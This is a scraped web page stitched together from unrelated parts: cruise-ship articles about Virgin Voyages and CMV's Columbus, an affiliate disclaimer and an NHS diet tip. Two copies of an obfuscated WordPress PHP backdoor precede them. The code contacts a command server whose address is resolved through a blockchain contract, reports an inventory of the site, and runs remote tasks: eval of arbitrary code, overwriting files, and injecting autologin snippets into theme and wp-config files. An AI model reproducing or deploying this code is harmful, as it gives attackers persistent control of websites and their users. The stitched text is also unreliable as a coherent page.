// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Virgin Voyages has given cruise fans a sneak peak into its new ship the Scarlet Lady, which will launch in the USA next year. The cruise ship has been described as “Adult by Design, a sanctuary at sea for the 18 plus traveller.” It will host 2,770 passengers – which it calls sailors – and will offer a mix of itineraries, including voyages to Cuba on select sailings. Virgin Voyages are aiming to give their passengers more value for money. Free fitness classes, free dining, free filtered water and all sodas are included in the voyage fare. There will also be a series of RockStar suites which Virgin claims are “throwing out traditional clichés on luxury and formalities.” Eighty-six per cent of Virgin Voyages cabins will feature a balcony and 93 per cent will feature an ocean view. Highlights of the Massive Suite, the top suite aboard the Scarlet Lady, include its own guitar-clad music room, views of the ocean from every corner of the suite and a massive terrace, complete with its own Peek-a-View outdoor shower, hot tub, hammocks and a runway outdoor dining table. “Virgin has always avoided stuffy formalities and brought a lot of excitement and a bit of rebelliousness to our customer experiences,” said Sir Richard Branson, founder of the Virgin Group. “With these glamorous suites, Virgin Voyages is bringing rock and roll to the high seas and spoiling our Sailors like the rockstars they are.” Tom McAlpin CEO of Virgin Voyages, added: “We have combined brilliant design and Virgin Voyages’ epic Sailor experience vision to create a completely new version of luxury – Rebellious Luxe, which is at the intersection of luxury and a rebellious attitude that makes everything we do different, indulgent and meaningfully relevant to our Sailors. “Whether they want to sleep all day, praise the sun with yoga at dusk or party all night, our RockStar Suite Sailors can live out their fantasies aboard the Scarlet Lady.” Well-being will be at the forefront of the onboard experience, activated through a mix of high-energy moments coupled with relaxation and rejuvenation. There is an athletics club, running track, 360-degree ocean view yoga spot and a variety of fitness rooms. Numerous restaurants can be found on board, offering every cuisine from steak and seafood to Mexican and pizza. There is also a Korean restaurant which is “destined to be the loudest eatery on board, each meal will begin with a complimentary round of soju for the table and throughout the evening sailors are encouraged to take part lively Korean drinking games.” Four lounges have currently been revealed – but more are to come, according to Virgin. One is inspired by New York sports clubs of the 1920’s; the space features oversized gaming for outdoor adult play, the largest daybed at sea, cabanas for relaxation, a sports bar for socialising post-workout and more. On top of this, there are many grooming and pampering spaces, including an upscale barber shop, the first-ever tattoo studio on board a cruise ship and spa parties. Virgin Voyages is committed to having one of the cleanest fleets at sea and has banned single-use plastics on board its ships. Virgin has three more ships on order, due for delivery in 2021, 2022 and 2023. In further cruise news, the Royal Caribbean’ Navigator of the Seas has revealed its incredible new on-board feature – the world’s longest waterslide at sea. The 800ft aqua-coaster is part of a $ 115milion makeover. “Each Royal Caribbean ship brings a new adventure uniquely designed to deliver on our guests’ preferences from A to Z,” said Michael Bayley, President and CEO, Royal Caribbean International. “Every detail matters and we’ve mapped out an unmatched combination of innovative features and experiences for this top-to-bottom transformation of Navigator of the Seas.”
The credit card offers that appear on the website are from credit card companies from which ThePointsGuy.com receives compensation. This compensation may impact how and where products appear on this site (including, for example, the order in which they appear). This site does not include all credit card companies or all available credit card offers. Please view our advertising policy page for more information.
Editorial Note: Opinions expressed here are the author’s alone, not those of any bank, credit card issuer, airlines or hotel chain, and have not been reviewed, approved or otherwise endorsed by any of these entities.
]]>
Cruise & Maritime Voyages has a fleet of six much-loved ships that are quietly comfortable rather than frantically modern, with most of them designed to please their mainly British passengers.
Flagship Columbus is based at Tilbury with Marco Polo offering departures from other British ports such as Bristol, Cardiff, Portsmouth, Newcastle and Rosyth – as well as Tilbury – and Astoria departing from Poole, Portsmouth and Hull.
Magellan will be based in Mexico from January to April 2019, then returning to Britain and a host of regional departures including Newcastle, Dundee, Liverpool and Dublin, while Astor will make its now traditional trip from Australia to the UK in spring 2019, having sailed from Tilbury to Australia in autumn 2018. Meanwhile the company’s new ship, Vasco de Gama, will leave Singapore for Amsterdam on its maiden voyage for CMV before concentrating on the German market.
Marco Polo and Astoria are child-free ships, although teenagers 16 and above can travel with adults, while Columbus and Magellan operate on similar lines except during school holidays when some multi-generational cruises are on offer. There are also special programmes of events for solo passengers on cruises of six nights or more, so that they can meet other single people and get together in groups.
THE WOW FACTOR
This has to be the value for money that all CMV cruises offer. There are no whizz bang features on Columbus although it has a lovely layout, thanks to its previous life as a Princess Cruises ship among other cruise lines, but there’s a real feelgood feeling onboard.
This is partly because of the prices, with special discounts and buy one get one half price offers ensuring the ship is always pretty full and quite lively.
There are also limited numbers of half-price fares for solo travellers, so they don’t have to pay for double occupancy, and children’s fares are from £99 when sharing with two adults during the multi-generational cruises. Very reasonable bar prices add to the general good value vibe – a bottle of Cabernet Sauvignon Merlot red wine costs £15 – and there are no service charges in the bars, shops or spa.
Best of all, for the British market at least, there are no compulsory gratuities to pay, although you’re encouraged to tip staff for good service.
THE LIFESTYLE
Relaxed and easy going sums up life onboard Columbus, where the dress code is pretty casual during the day and smart casual in the evening with just one formal night on a week-long cruise.
Although most passengers jump ship for excursions when in port, there are always activities on offer such as power walking on deck in the morning or a quiz in the Connexions Bar – often morning and afternoon.
Other activities include Darts Get-Togethers in the Observation Lounge and even Bean Bag Bowls and Chairobics – nothing too difficult so it’s very inclusive. This is partly because sometimes days in port can be limited to a long half a day, although there may also be late departures to give you time for a drink in local bars.
On sea days there’s a full programme of mainly traditional cruise activities such as bridge, quoits, shuffleboard and bingo – mostly free. Columbus doesn’t claim to be sophisticated or bang up to date but passengers seem to be happy with that – there’s very little moaning onboard.
STATEROOMS
Columbus has several categories of cabins, as it still calls them, with four types of Inner cabins, nine of Ocean View cabins (outside, with windows), two styles of Balcony cabins and a choice of five cabin categories available to singles.
Most are 188sq ft (17.50sq m) with just the Standard Single Ocean View smaller at 146sq ft (13.50sq m) and the Junior Balcony Suite larger at 372sq ft (34.50sq m), so there is plenty of space.
All have ensuite shower rooms (there’s also a bath in the suites) with a walk-in wardrobe that includes plenty of drawers. Air conditioning, flat-screen TVs, fridge, hairdryers and a safe are standard to all categories and some cabins have third and even fourth berths.
All are comfortable, with new carpets and upholstery installed during its June 2017 refit, when the ship joined CMV. However, the bathrooms are small and basic, with some in need of an upgrade, and the toiletries on offer are basic – so you may prefer to take your own.
But this is a good ship for singles thanks to its large choice of solo cabins, it also has cabins adapted for wheelchair users and there are some inter-connecting cabins for families or groups.
DINING
The Waterfront is the main dining room with an interior that manages to feel glamourous but not glitzy and there are no fixed places so you can sit by the window for lunch and in an alcove-like area for dinner if you like. This restaurant also has a paid-for Chef’s Table, which seats 14 for an eight-course degustation menu that costs £49 each.
The Plantation buffet restaurant has a modern interior design style with dividers between the food stations and seating areas full of nice but fake potted plants and other knick-knacks, to give it a homely feeling, and diner-like counters and tall stools as well as traditional seating.
There are also two speciality restaurants with cover charges: The Grill serves steak, rack of lamb, Scottish salmon or free-range chicken, with a choice of starters, for £14.90.
But it’s Fusion, the Indian restaurant, that is stand-out superb. Yes, you can get brilliant curry in the buffet or main dining room any day of the week but Fusion takes things to another level.
At £14.90 per person, this small restaurant attached to the buffet is as good as anything you’ll get on any of the luxury lines. The menu starts with a selection of appetisers such as samosas, then you choose your own main course – classics such as Lamb Rogan Josh or Tamarind and Chili Glazed Prawns – followed by a plate of sweets such as dates stuffed with Baileys and white chocolate. All the spices are from India, not a Western supermarket, and you can really taste the difference: it’s outstanding.
Other dining options include afternoon tea – hard to catch if you’re off the ship – burgers and the like from the Pool Grill, room service (mostly paid-for) and the coffee shop Hemingways where you can buy premium tea, coffee and cake.
ENTERTAINMENT
There are no West End-style shows but there are cabarets, comedians and reviews and, best of all, themed cruises featuring retired sports stars, veteran pop stars or British actors from television’s 1970s glory days.
Particularly good are the Cricketing Legends themed cruises hosted by Nick Hancock of They Think It’s All Over. Former England captain Mike Gatting is often among the cricketers joining in quiz shows as well as taking part in serious on-stage interviews and meeting fans for photographs and autographs in the bar.
Other themed cruises for 2019 include the 75th D-Day Anniversary cruise, Rouen Armada & River Seine cruise and Christmas & New Year cruises.
FACT BOX
Columbus sails from London Tilbury on its Grand Round the World Cruise in January 2019, returning from Auckland in February and is back at Tilbury in May for round-Britain and northern Europe cruises plus a couple of Canary Islands trips.
Cruises with the stars include a seven-night Fjordland Splendour return-trip from Tilbury on September 29 featuring The Three Degrees as well as calls at Amsterdam then on to Norway’s Eidfjord, Flam and Bergen with scenic cruising in Hardangerfjord and Sognefjord.
Twin inner cabins are available from £929 for the first person and £464 for the second person, two sharing (0844 998 9530; cruiseandmaritime.com).
Weight loss doesn’t need to require lots of hard-to-find foods and expensive gym memberships. Sometimes, just a few small changes can make all the difference.
The NHS offers a 12-week weight loss plan and has plenty of top tips to help you shed the pounds.
One tip, in particular, is very easy to incorporate into your daily routine – and it requires just one thing you probably already have in your kitchen cupboard.
The NHS recommends simply eating your food off a smaller plate than you would normally use.
Eating off smaller plates (or bowls) will help you eat smaller portions, meaning your body will soon get used to eating smaller portions.
You shouldn’t be going hungry as you will have adapted to the new portion size.
